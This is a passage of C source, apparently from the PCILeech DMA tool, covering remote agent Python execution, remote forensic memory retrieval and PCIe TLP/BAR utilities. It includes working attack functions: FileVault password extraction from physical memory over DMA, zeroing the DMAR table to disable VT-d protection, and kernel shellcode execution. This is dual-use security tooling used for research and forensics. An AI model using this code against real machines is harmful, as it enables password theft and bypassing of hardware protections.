Wrote %i bytes to file %s.\n", cbLength, ctxMain->cfg.szFileOut); } } //---------------------------------------------------------- // 6: Call the post execution console redirection if needed. //---------------------------------------------------------- if(pk->dataInConsoleBuffer || pk->dataOutConsoleBuffer) { Exec_ConsoleRedirect(pk->dataInConsoleBuffer, pk->dataOutConsoleBuffer, 0); } printf("\n"); fail: LocalFree(pKmdExec); LocalFree(pbBuffer); LocalFree(szBufferText); if(pFile) { fclose(pFile); } } VOID ActionAgentExecPy() { BOOL result; DWORD cbResult = 0; PBYTE pbResult = NULL; FILE *pFile = NULL; if(!ctxMain->cfg.pbIn || (ctxMain->cfg.cbIn < 4)) { printf("AGENT-PYEXEC: Failed. Input file not valid. Please supply input file in -in option.\n"); return; } printf("AGENT-PYEXEC: Sending script to remote LeechAgent for processing.\n"); printf("AGENT-PYEXEC: Waiting for result ...\n"); result = LcCommand(ctxMain->hLC, LC_CMD_AGENT_EXEC_PYTHON, (DWORD)ctxMain->cfg.cbIn, ctxMain->cfg.pbIn, &pbResult, &cbResult); if(!result) { printf("AGENT-PYEXEC: Failed.\n"); return; } if(pbResult && (cbResult > 0)) { cbResult -= 1; // remove length of string null terminator. // write to out file if(ctxMain->cfg.szFileOut[0]) { // open output file if(!fopen_s(&pFile, ctxMain->cfg.szFileOut, "r") || pFile) { printf("AGENT-PYEXEC: Error writing output to file. File already exists: %s\n", ctxMain->cfg.szFileOut); goto fail; } if(fopen_s(&pFile, ctxMain->cfg.szFileOut, "wb") || !pFile) { printf("AGENT-PYEXEC: Error writing output to file.\n"); goto fail; } if(cbResult != fwrite(pbResult, 1, cbResult, pFile)) { printf("AGENT-PYEXEC: Error writing output to file.\n"); goto fail; } printf("AGENT-PYEXEC: Wrote %i bytes to file %s.\n", cbResult, ctxMain->cfg.szFileOut); } // print to screen printf("AGENT-PYEXEC: Please see result below: \n================================ \n"); Util_AsciiFilter(pbResult, cbResult); // filter away potentially harmful chars from untrusted remote input printf("%s\n", (LPSTR)pbResult); } fail: if(pFile) { fclose(pFile); } LcMemFree(pbResult); } #ifdef _WIN32 DWORD ActionAgentForensic_OutFileDirectory(_Out_writes_z_(MAX_PATH) LPSTR szFilePrefix, _In_ LPSTR szUniqueTag) { SYSTEMTIME st; GetLocalTime(&st); _snprintf_s( szFilePrefix, MAX_PATH, _TRUNCATE, "%s%sforensic-%i%02i%02i-%02i%02i%02i-%s", ctxMain->cfg.szFileOut[0] ? ctxMain->cfg.szFileOut : "", ctxMain->cfg.szFileOut[0] ? "\\" : "", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, szUniqueTag); return (DWORD)strlen(szFilePrefix); } VOID ActionAgentForensic_GetFile(_In_ LPSTR szRemoteFile, _In_ LPSTR szOutFile, _In_ QWORD qwSize) { FILE *hFile = NULL; LC_CMD_AGENT_VFS_REQ Req = { 0 }; PLC_CMD_AGENT_VFS_RSP pRsp = NULL; HANDLE hConsole; CONSOLE_SCREEN_BUFFER_INFO consoleInfo; Req.dwVersion = LC_CMD_AGENT_VFS_REQ_VERSION; strncpy_s(Req.uszPathFile, _countof(Req.uszPathFile), szRemoteFile, _TRUNCATE); if(fopen_s(&hFile, szOutFile, "wb")) { printf("AGENT-ELASTIC: failed open local file %s\n", szOutFile); goto fail; } printf(" Local File: %s\n Progress: 0%%", szOutFile); hConsole = GetStdHandle(STD_OUTPUT_HANDLE); GetConsoleScreenBufferInfo(hConsole, &consoleInfo); consoleInfo.dwCursorPosition.X -= 4; while((Req.dwLength = min(0x01000000, (DWORD)(qwSize - Req.qwOffset)))) { if(!LcCommand(ctxMain->hLC, LC_CMD_AGENT_VFS_READ, sizeof(LC_CMD_AGENT_VFS_REQ), (PBYTE)&Req, (PBYTE*)&pRsp, NULL) || !pRsp || !pRsp->cb) { printf("\nAGENT-FORENSIC: Failed reading remote file.\n"); goto fail; } if(pRsp->cb != fwrite(pRsp->pb, 1, pRsp->cb, hFile)) { LocalFree(pRsp); printf("\nAGENT-FORENSIC: failed write to local file %s\n", szOutFile); break; } LocalFree(pRsp); Req.qwOffset += Req.dwLength; SetConsoleCursorPosition(hConsole, consoleInfo.dwCursorPosition); printf("%3lli%%", ((Req.qwOffset * 100) / qwSize)); } printf("\n"); fail: if(hFile) { fclose(hFile); } } /* * Retrieve forensic mode JSON data from the remote system. This is achieved by * starting MemProcFS as a child-process remotely and accessing its virtual file * system. The JSON data retrieved is compatible with ElasticSearch. */ VOID ActionAgentForensic() { CHAR szPercent[4] = { 0 }, szRemoteFile[MAX_PATH] = { 0 }, szLocalFile[MAX_PATH] = { 0 }; CHAR szTag[18] = { 0 }; LPSTR szFile; DWORD i, cPercent = 0, cbResult = 0, cchLocalFileDirectory; PBYTE pbResult = NULL; PLC_CMD_AGENT_VFS_REQ pReq = NULL; PLC_CMD_AGENT_VFS_RSP pRsp = NULL; PVMMDLL_VFS_FILELISTBLOB pVfsList; HANDLE hConsole; CONSOLE_SCREEN_BUFFER_INFO consoleInfo; // Initial setup if(!(pReq = LocalAlloc(LMEM_ZEROINIT, sizeof(LC_CMD_AGENT_VFS_REQ) + 1))) { goto fail; } pReq->dwVersion = LC_CMD_AGENT_VFS_REQ_VERSION; strncpy_s(pReq->uszPathFile, _countof(pReq->uszPathFile), "\\forensic\\forensic_enable.txt", _TRUNCATE); // Enable/verify forensic mode '1' - in-memory database pReq->cb = 1; pReq->pb[0] = '1'; if(!LcCommand(ctxMain->hLC, LC_CMD_AGENT_VFS_WRITE, sizeof(LC_CMD_AGENT_VFS_REQ) + 1, (PBYTE)pReq, NULL, NULL)) { printf("AGENT-FORENSIC: Failed to connect to the remote system or enable memory analysis.\n"); goto fail; } pReq->cb = 0; pReq->dwLength = 3; if(!LcCommand(ctxMain->hLC, LC_CMD_AGENT_VFS_READ, sizeof(LC_CMD_AGENT_VFS_REQ), (PBYTE)pReq, (PBYTE*)&pRsp, NULL) || !pRsp || !pRsp->cb || pRsp->pb[0] != '1') { printf("AGENT-FORENSIC: Failed start remote forensic mode memory analysis.\n"); goto fail; } LocalFree(pRsp); pRsp = NULL; // Get Unique Tag strncpy_s(pReq->uszPathFile, _countof(pReq->uszPathFile), "\\sys\\unique-tag.txt", _TRUNCATE); pReq->cb = 0; pReq->dwLength = 17; if(!LcCommand(ctxMain->hLC, LC_CMD_AGENT_VFS_READ, sizeof(LC_CMD_AGENT_VFS_REQ), (PBYTE)pReq, (PBYTE*)&pRsp, NULL) || !pRsp || !pRsp->cb || (pRsp->cb > 17)) { printf("AGENT-FORENSIC: Failed retrieving unique tag.\n"); goto fail; } memcpy(szTag, pRsp->pb, pRsp->cb); LocalFree(pRsp); pRsp = NULL; printf("AGENT-FORENSIC: Remote System Tag: %s\n", szTag); // Watch for progress until 100% printf("AGENT-FORENSIC: Connected. Remote forensic memory analysis: 0%%"); hConsole = GetStdHandle(STD_OUTPUT_HANDLE); GetConsoleScreenBufferInfo(hConsole, &consoleInfo); consoleInfo.dwCursorPosition.X -= 4; cPercent = 0; strncpy_s(pReq->uszPathFile, _countof(pReq->uszPathFile), "\\forensic\\progress_percent.txt", _TRUNCATE); pReq->cb = 0; pReq->dwLength = 3; while(cPercent != 100) { Sleep(250); if(!LcCommand(ctxMain->hLC, LC_CMD_AGENT_VFS_READ, sizeof(LC_CMD_AGENT_VFS_REQ), (PBYTE)pReq, (PBYTE*)&pRsp, NULL) || !pRsp) { printf("\nAGENT-FORENSIC: Failed to retrieve progress percent ...\n"); goto fail; } memcpy(szPercent, pRsp->pb, min(3, pRsp->cb)); LocalFree(pRsp); pRsp = NULL; cPercent = atoi(szPercent); SetConsoleCursorPosition(hConsole, consoleInfo.dwCursorPosition); printf("%3i%%", cPercent); } // Retrieve /forensic/json directory info and print file list: strncpy_s(pReq->uszPathFile, _countof(pReq->uszPathFile), "\\forensic\\json", _TRUNCATE); pReq->dwLength = 0; if(!LcCommand(ctxMain->hLC, LC_CMD_AGENT_VFS_LIST, sizeof(LC_CMD_AGENT_VFS_REQ), (PBYTE)pReq, (PBYTE*)&pRsp, NULL) || !pRsp) { printf("AGENT-FORENSIC: Failed to retrieve file info.\n"); goto fail; } pVfsList = (PVMMDLL_VFS_FILELISTBLOB)pRsp->pb; // sanity/security checks on remote deta done in leechcore pVfsList->uszMultiText = pVfsList->uszMultiText + (QWORD)pVfsList; // fixup relative uszMultiText offset if(pVfsList->cFileEntry > 16) { printf("AGENT-FORENSIC: Too many files on remote system (%i).\n", pVfsList->cFileEntry); goto fail; } cchLocalFileDirectory = ActionAgentForensic_OutFileDirectory(szLocalFile, szTag); CreateDirectoryA(szLocalFile, NULL); printf("\nRemote Files:\n"); for(i = 0; i < pVfsList->cFileEntry; i++) { if(pVfsList->FileEntry[i].cbFileSize != -1) { szFile = pVfsList->uszMultiText + pVfsList->FileEntry[i].ouszName; printf(" %s\t\t[%lli MB]\n", szFile, pVfsList->FileEntry[i].cbFileSize / (1024 * 1024)); if(!strcmp(szFile, "general.json") || !strcmp(szFile, "registry.json") || !strcmp(szFile, "timeline.json")) { _snprintf_s(szRemoteFile, _countof(szRemoteFile), _TRUNCATE, "\\forensic\\json\\%s", szFile); _snprintf_s(szLocalFile + cchLocalFileDirectory, _countof(szLocalFile) - cchLocalFileDirectory, _TRUNCATE, "\\%s", szFile); ActionAgentForensic_GetFile(szRemoteFile, szLocalFile, pVfsList->FileEntry[i].cbFileSize); } } } printf("Completed!\n\n"); fail: LocalFree(pReq); LocalFree(pRsp); } #endif /* _WIN32 */ #if defined(LINUX) || defined(MACOS) VOID ActionAgentForensic() { printf("Command 'agent-elastic' is only supported on Windows.\n"); } #endif /* LINUX || MACOS */ ``` `pcileech/executor.h`: ```h // executor.h : definitions related to 'code execution' and 'console redirect' functionality. // // (c) Ulf Frisk, 2016-2026 // Author: Ulf Frisk, pcileech@frizk.net // #ifndef __EXECUTOR_H__ #define __EXECUTOR_H__ #include "pcileech.h" #include "oscompatibility.h" #include "kmd.h" /* * Execute a console redirect * -- ConsoleBufferAddr_InputStream = physical or virtual address. * -- ConsoleBufferAddr_OutputStream = physical or virtual address. * -- dwPID = zero if physical address read, non-zero if virtual address read. */ VOID Exec_ConsoleRedirect(_In_ QWORD ConsoleBufferAddr_InputStream, _In_ QWORD ConsoleBufferAddr_OutputStream, _In_ DWORD dwPID); /* * Callback for when kernel executable code is in "extended execution mode". * This will allow the kernel executable code running on the target machine to * communicate interactively with this executable to deliver large files. * -- phCallback = ptr to handle; handle must be null on first entry. * -- return = TRUE on success or partial failure, FALSE on fatal error. */ _Success_(return) BOOL Exec_Callback(_Inout_ PHANDLE phCallback); /* * Close handle opened/used in Exec_Callback. * -- hCallback = handle to close. */ VOID Exec_CallbackClose(_In_opt_ HANDLE hCallback); /* * Execute specified shellcode silently (do not display anything on-screen). * This function is to be called internally by PCILeech functionality that * require more advanced kernel functionality than the core implant is able * to provide. * -- szShellcodeName * -- pbIn = binary data to send to shellcode executing on the target. * -- cbIn * -- ppbOut = ptr to receive allocated buffer containing the result. * Callers responsibility to call LocalFree(*ppbOut). * -- pcbOut * -- result */ _Success_(return) BOOL Exec_ExecSilent(_In_ LPSTR szShellcodeName, _In_ PBYTE pbIn, _In_ QWORD cbIn, _Out_opt_ PBYTE *ppbOut, _Out_opt_ PQWORD pcbOut); /* * Try to execute a shellcode module in the target system kernel. This function * requires a KMD to be loaded. The KMD is then used to load and execute the * code supplied in the target system! */ VOID ActionExecShellcode(); /* * Try execute python code on a remote host in the context of the LeechSvc. */ VOID ActionAgentExecPy(); /* * Retrieve remote elasticsearch forensic information. */ VOID ActionAgentForensic(); #endif /* __EXECUTOR_H__ */ ``` `pcileech/extra.c`: ```c // extra.c : implementation related various extra functionality such as exploits. // // (c) Ulf Frisk, 2016-2026 // Author: Ulf Frisk, pcileech@frizk.net // #include "extra.h" #include "device.h" #include "util.h" VOID Extra_MacFVRecover_ReadMemory_Optimized(_Inout_ PBYTE pb512M) { DWORD i, dwOffsets[] = { 0x74000000, 0x75000000, 0x76000000, 0x77000000, 0x78000000, 0x79000000, 0x7a000000, 0x7b000000, 0x7c000000, 0x7d000000, 0x7e000000, 0x7f000000, 0x80000000, 0x81000000, 0x82000000, 0x83000000, 0x84000000, 0x85000000, 0x86000000, 0x87000000, 0x70000000, 0x71000000, 0x72000000, 0x73000000, 0x88000000, 0x89000000, 0x8a000000, 0x8b000000, 0x8c000000, 0x8d000000, 0x8e000000, 0x8f000000 }; for(i = 0; i < sizeof(dwOffsets) / sizeof(DWORD); i++) { DeviceReadDMA(dwOffsets[i], 0x01000000, pb512M + dwOffsets[i] - 0x70000000, NULL); } } BOOL Extra_MacFVRecover_Analyze(_In_ PBYTE pb512M) { DWORD i, o, dwCandidate; PBYTE pb; BOOL isFound = 0; const BYTE CONST_ZERO_32[32] = { 0 }; BYTE pbLast[32]; memset(pbLast, 0x00, 32); for(o = 0; o < 0x20000000; o += 0x1000) { pb = (PBYTE)(pb512M + o); if(*(PDWORD)pb != 0x30646870) { // signature "phd0" continue; // not correct signature -> skip this page. } dwCandidate = 0; for(i = 0x18; i < 0x800; i += 8) { if((*(PQWORD)(pb + i) & 0xff00ff00ff00ff00)) { break; // non ascii chars in qword block -> skip this page. } if(dwCandidate == 0) { if(!*(PQWORD)(pb + i)) { continue; // empty block -> page is still a candidate. } if(0 == pb[i + 6]) { break; // less than 4 chars in pwd candidate -> skip this page. } if(*(PQWORD)(pb + i) == 0x0043005f00520047) { break; // known false positive starts with GR_C -> skip this page. } dwCandidate = i; continue; } if(0 == *(PQWORD)(pb + i)) { if(memcmp(pb + i, CONST_ZERO_32, 32)) { break; // not 32 bytes of zero after pwd candidate -> skip this page. } // password candidate found!!! isFound = TRUE; if(memcmp(pbLast, pb + dwCandidate, 32)) { // duplicate removal memcpy(pbLast, pb + dwCandidate, 32); #ifdef _WIN32 printf("MAC_FVRECOVER: PASSWORD CANDIDATE: %S\n", (LPWSTR)(pb + dwCandidate)); #endif /* _WIN32 */ #if defined(LINUX) || defined(MACOS) printf("MAC_FVRECOVER: PASSWORD CANDIDATE (hex8): %llx\n", *(PQWORD)(pb + dwCandidate)); #endif /* LINUX || MACOS */ } break; } } } return isFound; } VOID Extra_MacFVRecover_SetOutFileName() { SYSTEMTIME st; if(ctxMain->cfg.szFileOut[0] == 0) { GetLocalTime(&st); _snprintf_s( ctxMain->cfg.szFileOut, MAX_PATH, _TRUNCATE, "pcileech-mac-fvrecover-%i%02i%02i-%02i%02i%02i.raw", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond); } } VOID Action_MacFilevaultRecover(_In_ BOOL IsRebootRequired) { FILE *pFile = NULL; PBYTE pbBuffer512M; // Allocate 512 MB buffer if(!(pbBuffer512M = LocalAlloc(LMEM_ZEROINIT, 0x20000000))) { printf("MAC_FVRECOVER: FAILED. Unable to allocate memory.\n"); return; } if(IsRebootRequired) { // Wait for target computer reboot (device will power cycle). printf( "MAC_FVRECOVER: WAITING ... please reboot ...\n" \ " Please force a reboot of the mac by pressing CTRL+CMD+POWER\n" \ " WARNING! This will not work in macOS Sierra 10.12.2 and later.\n"); Util_WaitForPowerCycle(); } else { // Wait for DMA read access to target computer. printf("MAC_FVRECOVER: WAITING for DMA access ...\n"); Util_WaitForPowerOn(); } // Try read 512M of memory from in the range: [0x70000000..0x90000000[. printf("MAC_FVRECOVER: Continuing ...\n"); Extra_MacFVRecover_ReadMemory_Optimized(pbBuffer512M); // Try write to disk image. printf("MAC_FVRECOVER: Writing partial memory contents to file ...\n"); Extra_MacFVRecover_SetOutFileName(); if(!fopen_s(&pFile, ctxMain->cfg.szFileOut, "r") || pFile) { printf("MAC_FVRECOVER: Error writing partial memory contents to file. File exists.\n"); if(pFile) { fclose(pFile); } pFile = NULL; } else if(fopen_s(&pFile, ctxMain->cfg.szFileOut, "wb") || !pFile) { printf("MAC_FVRECOVER: Error writing partial memory contents to file.\n"); pFile = NULL; } else if(0x20000000 != fwrite(pbBuffer512M, 1, 0x20000000, pFile)) { printf("MAC_FVRECOVER: Error writing partial memory contents to file.\n"); } else { printf("MAC_FVRECOVER: File: %s.\n", ctxMain->cfg.szFileOut); } // Analyze for possible password candidates. printf("MAC_FVRECOVER: Analyzing ...\n"); if(Extra_MacFVRecover_Analyze(pbBuffer512M)) { printf("MAC_FVRECOVER: Completed.\n"); } else { printf("MAC_FVRECOVER: Failed.\n"); } // clean up. LocalFree(pbBuffer512M); if(pFile) { fclose(pFile); } } VOID Action_MacDisableVtd() { PBYTE pb16M; BYTE ZERO16[16] = { 0 }; DWORD i, j, dwAddress, dwOffsets[] = { 0x8a000000, 0x8b000000, 0x8c000000, 0x8d000000, 0x89000000, 0x88000000, 0x87000000, 0x86000000 }; // Allocate 16 MB buffer if(!(pb16M = LocalAlloc(LMEM_ZEROINIT, 0x01000000))) { printf("MAC_DISABLE_VTD: FAILED. Unable to allocate memory.\n"); return; } // Wait for DMA read access to target computer. printf("MAC_DISABLE_VTD: WAITING for DMA access ...\n"); Util_WaitForPowerOn(); // DMAR table assumed to be on page boundary. This doesn't have to be true, // but it seems like it is on the MACs. for(i = 0; i < sizeof(dwOffsets) / sizeof(DWORD); i++) { if(DeviceReadDMA(dwOffsets[i], 0x01000000, pb16M, NULL)) { for(j = 0; j < 0x01000000; j += 0x1000) { if(*(PQWORD)(pb16M + j) == 0x0000008852414d44) { dwAddress = dwOffsets[i] + j; if(LcWrite(ctxMain->hLC, dwAddress, 16, ZERO16)) { printf("MAC_DISABLE_VTD: VT-d DMA protections should now be disabled ...\n"); printf("MAC_DISABLE_VTD: DMAR ACPI table found and removed at: 0x%08x\n", dwAddress); LocalFree(pb16M); return; } } } } } LocalFree(pb16M); printf("MAC_DISABLE_VTD: Failed to disable VT-d DMA protections.\n"); } VOID Action_PT_Phys2Virt() { BOOL result; QWORD qwVA, qwPTE, qwPDE, qwPDPTE, qwPML4E; printf("PT_PHYS2VIRT: searching ... (this may take some time).\n"); result = Util_PageTable_FindMappedAddress(ctxMain->cfg.paCR3, ctxMain->cfg.qwDataIn[0], &qwVA, &qwPTE, &qwPDE, &qwPDPTE, &qwPML4E); if(result) { printf("PT_PHYS2VIRT: finished.\n"); printf(" 0x00000000FFFFFFFF\n"); printf(" PA: 0x%016llx\n", ctxMain->cfg.qwDataIn[0]); printf(" VA: 0x%016llx\n", qwVA); printf(" PTE: 0x%016llx\n", qwPTE); printf(" PDE: 0x%016llx\n", qwPDE); printf(" PDPTE: 0x%016llx\n", qwPDPTE); printf(" PML4E: 0x%016llx\n", qwPML4E); } else { printf("PT_PHYS2VIRT: Failed.\n"); } } VOID Action_PT_Virt2Phys() { BOOL result; QWORD qwPA, qwPageBase, qwPageSize; result = Util_PageTable_Virtual2Physical(ctxMain->cfg.paCR3, ctxMain->cfg.qwDataIn[0], &qwPA, &qwPageBase, &qwPageSize); if(result) { printf("PT_VIRT2PHYS: Successful.\n"); printf(" 0x00000000FFFFFFFF\n"); printf(" VA: 0x%016llx\n", ctxMain->cfg.qwDataIn[0]); printf(" PA: 0x%016llx\n", qwPA); printf(" PG SIZE: 0x%016llx\n", qwPageSize); printf(" PG BASE PA: 0x%016llx\n", qwPageBase); printf(" CR3/PML4: 0x%016llx\n", ctxMain->cfg.paCR3); } else { printf("PT_VIRT2PHYS: Failed.\n"); } } /* * Dummy callback to receive TLPs from LeechCore. * This is required to keep TLP receiver thread in LeechCore running. */ VOID Action_TlpTx_DummyCB(_In_opt_ PVOID ctx, _In_ DWORD cbTlp, _In_ PBYTE pbTlp, _In_opt_ DWORD cbInfo, _In_opt_ LPSTR szInfo) { ; } VOID Action_TlpTx() { DWORD dwListenTlpMs = 100; if(ctxMain->cfg.cbIn < 12) { printf("Action_TlpTx: Invalid TLP (too short).\n"); return; } if(ctxMain->cfg.cbIn % 4) { printf("Action_TlpTx: Invalid TLP (length not multiple of 4).\n"); return; } printf("TLP: Transmitting PCIe TLP.%s\n", ctxMain->cfg.fVerboseExtra ? "" : " (use -vvv option for detailed info)."); LcCommand(ctxMain->hLC, LC_CMD_FPGA_TLP_FUNCTION_CALLBACK, 0, (PBYTE)LC_TLP_FUNCTION_CALLBACK_DUMMY, NULL, NULL); if(ctxMain->cfg.fLoop) { printf("TLP: Starting loop TLP transmit. Press CTRL+C to abort.\n"); while(TRUE) { LcCommand(ctxMain->hLC, LC_CMD_FPGA_TLP_WRITE_SINGLE, (DWORD)ctxMain->cfg.cbIn, ctxMain->cfg.pbIn, NULL, NULL); } return; } LcCommand(ctxMain->hLC, LC_CMD_FPGA_TLP_WRITE_SINGLE, (DWORD)ctxMain->cfg.cbIn, ctxMain->cfg.pbIn, NULL, NULL); Sleep(dwListenTlpMs); LcCommand(ctxMain->hLC, LC_CMD_FPGA_TLP_FUNCTION_CALLBACK, 0, (PBYTE)LC_TLP_FUNCTION_CALLBACK_DISABLE, NULL, NULL); } VOID Action_TlpTxLoop() { WORD wTxSleep = 64, wValid = 0; DWORD dwMax = 0xffffffff, dwListenTlpMs = 100, dwEnableTx = 0x00080008, dwDisableTx = 0x00080000; QWORD i, qwFpgaVersionMajor = 0, qwFpgaVersionMinor = 0; if(ctxMain->cfg.cbIn < 12) { printf("Action_TlpTxLoop: Invalid TLP (too short).\n"); return; } if(ctxMain->cfg.cbIn > 48) { printf("Action_TlpTxLoop: Invalid TLP (too long).\n"); return; } if(ctxMain->cfg.cbIn % 4) { printf("Action_TlpTxLoop: Invalid TLP (length not multiple of 4).\n"); return; } LcGetOption(ctxMain->hLC, LC_OPT_FPGA_VERSION_MAJOR, &qwFpgaVersionMajor); LcGetOption(ctxMain->hLC, LC_OPT_FPGA_VERSION_MINOR, &qwFpgaVersionMinor); if((qwFpgaVersionMajor < 4) || ((qwFpgaVersionMajor == 4) && (qwFpgaVersionMinor < 2))) { printf("Action_TlpTxLoop: FPGA version not supported (bitstream v4.2 or later required).\n"); return; } // start background reader thread (to print out any received TLPs): LcCommand(ctxMain->hLC, LC_CMD_FPGA_TLP_FUNCTION_CALLBACK, 0, (PBYTE)LC_TLP_FUNCTION_CALLBACK_DUMMY, NULL, NULL); printf("TLP: Transmitting PCIe LOOP TLPs. Press any key to stop.%s\n", ctxMain->cfg.fVerboseExtra ? "" : " (use -vvv option for detailed info)."); // tx each 64 clk [66MHz - 15ns clk] (15ns * 64 -> ~1uS) LcCommand(ctxMain->hLC, LC_CMD_FPGA_CFGREGPCIE | 0x801e, sizeof(WORD), (PBYTE)&wTxSleep, NULL, NULL); // tlp value LcCommand(ctxMain->hLC, LC_CMD_FPGA_CFGREGPCIE | 0x8020, (DWORD)ctxMain->cfg.cbIn, ctxMain->cfg.pbIn, NULL, NULL); // set "infinite" [very long] loop LcCommand(ctxMain->hLC, LC_CMD_FPGA_CFGREGPCIE | 0x8050, sizeof(DWORD), (PBYTE)&dwMax, NULL, NULL); // set valid TLP QWORDs i = ctxMain->cfg.cbIn; wValid = 1 | ((i % 8) ? 0 : 2); i -= (i % 8) ? 4 : 8; while(i) { i -= 8; wValid = 2 | (wValid << 2); } LcCommand(ctxMain->hLC, LC_CMD_FPGA_CFGREGPCIE | 0x801c, sizeof(WORD), (PBYTE)&wValid, NULL, NULL); // start tx LcCommand(ctxMain->hLC, LC_CMD_FPGA_CFGREGPCIE_MARKWR | 0x8002, sizeof(DWORD), (PBYTE)&dwEnableTx, NULL, NULL); // wait for keypress to stop while(!_kbhit()) { ; } // stop LcCommand(ctxMain->hLC, LC_CMD_FPGA_CFGREGPCIE_MARKWR | 0x8002, sizeof(DWORD), (PBYTE)&dwDisableTx, NULL, NULL); LcCommand(ctxMain->hLC, LC_CMD_FPGA_TLP_FUNCTION_CALLBACK, 0, (PBYTE)LC_TLP_FUNCTION_CALLBACK_DISABLE, NULL, NULL); } /* * Read/Write to FPGA PCIe shadow configuration space. */ VOID Action_RegCfgReadWrite() { BOOL fResult; FILE *pFile = NULL; PBYTE pbLcCfgSpace4096 = NULL; if(ctxMain->cfg.cbIn) { // WRITE mode: if((ctxMain->cfg.paAddrMin > 0x1000) || (ctxMain->cfg.paAddrMin + ctxMain->cfg.cbIn > 0x1000)) { printf("REGCFG: Write failed outside FPGA PCIe shadow configuration space (0x1000).\n"); return; } fResult = LcCommand( ctxMain->hLC, LC_CMD_FPGA_CFGSPACE_SHADOW_WR | ctxMain->cfg.paAddrMin, (DWORD)ctxMain->cfg.cbIn, ctxMain->cfg.pbIn, NULL, NULL ); if(fResult) { printf("REGCFG: Write SUCCESS!\n"); } else { printf("REGCFG: Write to FPGA PCIe shadow configuration space failed.\n"); } return; } // READ mode: fResult = LcCommand( ctxMain->hLC, LC_CMD_FPGA_CFGSPACE_SHADOW_RD, 0, NULL, &pbLcCfgSpace4096, NULL ); if(!fResult) { printf("REGCFG: Read FPGA PCIe shadow configuration space failed.\n"); return; } // READ success: if(ctxMain->cfg.szFileOut[0]) { // open output file if(!fopen_s(&pFile, ctxMain->cfg.szFileOut, "r") || pFile) { printf("REGCFG: Error writing output to file. File already exists: %s\n", ctxMain->cfg.szFileOut); goto fail; } if(fopen_s(&pFile, ctxMain->cfg.szFileOut, "wb") || !pFile) { printf("REGCFG: Error writing output to file.\n"); goto fail; } if(0x1000 != fwrite(pbLcCfgSpace4096, 1, 0x1000, pFile)) { printf("REGCFG: Error writing output to file.\n"); goto fail; } printf("REGCFG: Wrote %i bytes to file %s.\n", 0x1000, ctxMain->cfg.szFileOut); } if(ctxMain->cfg.paAddrMin < 0x1000) { // print to screen printf("REGCFG: Please see result below: \n================================ \n"); if((ctxMain->cfg.paAddrMin > ctxMain->cfg.paAddrMax) || (ctxMain->cfg.paAddrMax > 0xfff)) { ctxMain->cfg.paAddrMax = 0xfff; } Util_PrintHexAscii( pbLcCfgSpace4096, (DWORD)(ctxMain->cfg.paAddrMax + 1), (DWORD)ctxMain->cfg.paAddrMin ); } fail: if(pFile) { fclose(pFile); } LcMemFree(pbLcCfgSpace4096); } //----------------------------------------------------------------------------- // PCIe BAR read/write functionality (with callback) below: //----------------------------------------------------------------------------- static PBYTE pbBarBuffer[6] = { NULL, NULL, NULL, NULL, NULL, NULL }; /* * Callback function to be called when a PCIe BAR read/write is requested from the host system. */ VOID Extra_BarReadWriteCallback(_Inout_ PLC_BAR_REQUEST pBarRequest) { DWORD i; PBYTE pb = pbBarBuffer[pBarRequest->pBar->iBar]; if(pBarRequest->fWrite && pb) { if((pBarRequest->bFirstBE == 0xf) && (pBarRequest->bLastBE == 0xf)) { // full write: memcpy(pb + pBarRequest->oData, pBarRequest->pbData, pBarRequest->cbData); return; } else { // partial write: // first byte enable: for(i = 0; i < 4; i++) { if((pBarRequest->bFirstBE >> i) & 1) { pb[pBarRequest->oData + i] = pBarRequest->pbData[i]; } } // middle bytes: if(pBarRequest->cbData > 8) { memcpy(pb + pBarRequest->oData + 4, pBarRequest->pbData + 4, pBarRequest->cbData - 8); } // last byte enable: if(pBarRequest->cbData > 4) { for(i = 0; i < 4; i++) { if((pBarRequest->bLastBE >> i) & 1) { pb[pBarRequest->oData + pBarRequest->cbData - 4 + i] = pBarRequest->pbData[pBarRequest->cbData - 4 + i]; } } } return; } } if(pBarRequest->fRead && pb) { memcpy(pBarRequest->pbData, pb + pBarRequest->oData, pBarRequest->cbData); pBarRequest->fReadReply = TRUE; return; } } /* * Register a callback that will implement read/write support of PCIe BARs. */ VOID Extra_BarReadWriteInitialize() { DWORD i; LC_BAR Bar[6] = { 0 }; PBYTE pbBarInfoBuffer = NULL; // 1: retrieve BAR info from the FPGA using the LC_CMD_FPGA_BAR_INFO command, copy and free memory. if(!LcCommand(ctxMain->hLC, LC_CMD_FPGA_BAR_INFO, 0, NULL, &pbBarInfoBuffer, NULL) || !pbBarInfoBuffer) { printf("BAR: Error reading BAR info.\n"); return; } memcpy(Bar, pbBarInfoBuffer, 6 * sizeof(LC_BAR)); LcMemFree(pbBarInfoBuffer); pbBarInfoBuffer = NULL; // 2: allocate memory for BARs (if sane buffer sizes): for(i = 0; i < 6; i++) { if(Bar[i].fValid && Bar[i].cb < 128*1024*1024) { pbBarBuffer[i] = LocalAlloc(LMEM_ZEROINIT, Bar[i].cb); if(!pbBarBuffer[i]) { printf("BAR: Error allocating memory for BAR %i.\n", i); return; } } } // 3: register callback function for BAR read/write requests: if(!LcCommand(ctxMain->hLC, LC_CMD_FPGA_BAR_FUNCTION_CALLBACK, 0, (PBYTE)Extra_BarReadWriteCallback, NULL, NULL)) { printf("BAR: Error registering callback function and enabling BAR TLP processing.\n"); return; } } //----------------------------------------------------------------------------- // PCIe BAR read/write functionality (with callback) below: //----------------------------------------------------------------------------- /* * Helper function to benchmark read speed of a certain byte size. * -- ppMEMs * -- cb * -- return value: bytes per second */ QWORD Extra_Benchmark_ReadSingle(_In_ PPMEM_SCATTER ppMEMs, _In_ QWORD cb) { LPSTR szcbUnit, szcbsUnit; QWORD cbo, cbUnit, cbs, cbsUnit, tmStart, tmEnd, c = 0, cFail = 0, pcFail; if(cb < 0x1000) { szcbUnit = "B "; cbUnit = cb; } else if(cb < 0x100000) { szcbUnit = "kB"; cbUnit = cb / 1024; } else { szcbUnit = "MB"; cbUnit = cb / (1024 * 1024); } tmStart = GetTickCount64(); while((tmEnd = GetTickCount64()) - tmStart < 5000) { for(cbo = 0; cbo < cb; cbo += 0x1000) { ppMEMs[cbo >> 12]->cb = (DWORD)min(0x1000, cb); ppMEMs[cbo >> 12]->f = FALSE; } LcReadScatter(ctxMain->hLC, max(1, (DWORD)(cb >> 12)), ppMEMs); for(cbo = 0; cbo < cb; cbo += 0x1000) { if(!ppMEMs[cbo >> 12]->f) { cFail++; break; } } c++; } cbs = cb * c / 5; pcFail = (cFail * 100) / c; if(cbs < 2 * 1024 * 1024) { cbsUnit = cbs / 